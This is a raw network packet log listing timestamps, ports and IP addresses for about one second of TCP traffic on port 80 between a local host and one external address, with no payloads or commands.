Oct 31, 2024 17:26:08.352982044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.353013992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.353053093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.353056908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.353218079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.353657007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.353669882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.353718042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.353750944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.354996920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.355010986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.355045080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.355067968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.355845928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.355932951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.389372110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.389542103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.389555931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.389552116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.389611006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.389611006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.390605927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.390670061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.391041994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.391053915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.391089916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.391113043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.392221928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.392241001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.392252922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.392287016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.392313004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.393485069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.393500090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.393568993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.393595934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.394659996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.394676924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.394723892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.394748926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.395876884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.395894051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.395904064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.395932913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.395957947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.468206882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.468405008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.468436003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.468451023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.468499899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.468523026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.469496965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.469574928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.470073938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.470150948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.470603943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.470675945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.504476070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.504559994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.504719019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.504733086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.504770041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.504800081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.505870104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.505882978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.505933046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.506819963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.506831884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.506887913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.507888079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.507900000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.507939100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.507987022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.509123087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.509135962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.509145975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.509176970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.509223938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.510358095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.510370970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.510427952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.511583090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.511595011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.511605978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.511629105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.511676073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.512806892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.512818098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.512856007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.583417892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.583491087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.583566904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.583580971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.583610058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.583638906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.584672928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.584737062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.585004091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.585016012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.585066080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.619822979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.619939089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.619971037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.619985104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.620023012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.620049953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.621150970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.621170998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.621207952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.621232986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.622064114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.622076035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.622087002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.622117043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.622168064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.623353004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.623368025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.623405933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.623436928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.624625921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.624640942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.624675035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.624696016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.625891924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.625906944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.625916958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.625952959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.625977993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.627180099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.627193928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.627238989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.627283096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.628154039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.628168106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.628179073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.628200054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.628225088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.629143953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.629157066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.629220963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.698436022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.698606014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.698657990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.698719025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.698812008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.698879004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.699362040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.699377060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.699412107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.699444056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.700515985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.700586081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.734963894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.735093117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.735290051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.735304117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.735358953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.735397100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.736283064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.736295938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.736354113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.737170935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.737183094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.737235069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.738246918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.738259077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.738317966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.739433050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.739445925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.739489079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.740617990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.740631104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.740641117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.740678072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.740711927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.741815090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.741828918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.741875887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.743011951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.743025064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.743036032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.743068933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.743124962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.743982077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.743993998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.744004011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.744038105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.744069099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.744848967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.744909048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.813895941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.814012051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.814023018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.814042091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.814079046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.814958096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.815037012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.850378036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.850483894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.850645065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.850657940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.850707054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.851634026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.851645947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.851696014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.852543116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.852555990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.852619886 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.853512049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.853523970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.853573084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.854607105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.854620934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.854665995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.855751038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.855763912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.855815887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.856826067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.856838942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.856883049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.857928991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.857943058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.857953072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.857992887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.858027935 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.858824015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.858836889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.858882904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.859713078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.859724998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.859770060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.860555887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.860618114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.929249048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.929363966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.929466009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.929481983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.929522038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.929547071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.930334091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.930388927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.965290070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.965368986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.965521097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.965534925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.965579033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.965595007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.966149092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.966161013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.966173887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.966201067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.966243029 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.967204094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.967220068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.967232943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.967257977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.967283964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.968226910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.968241930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.968255043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.968276024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.968326092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.969274044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.969289064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.969357967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.970307112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.970324039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.970371008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.970395088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.971358061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.971371889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.971384048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.971410036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.971434116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.972382069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.972395897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.972445965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.972489119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.973217964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.973233938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.973247051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.973273993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.973300934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.974034071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.974049091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.974088907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.974123001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.010869026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.010934114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.011037111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.011051893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.011080980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.011107922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.044310093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.044373989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.044523954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.044537067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.044585943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.045039892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.045089006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.080965042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.081088066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.081089020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.081104994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.081130028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.081151962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.081527948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.081578016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.081860065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.081871986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.081918955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.082484961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.082504988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.082551956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.082835913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.082850933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.082886934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.082923889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.083775997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.083791971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.083830118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.083848953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.084383011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.084398985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.084413052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.084429979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.084460020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.085194111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.085208893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.085242987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.085279942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.086095095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.086110115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.086146116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.086168051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.086754084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.086770058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.086781979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.086802959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.086828947 CET	49730	80	192.168.2.4	185.215.113.206
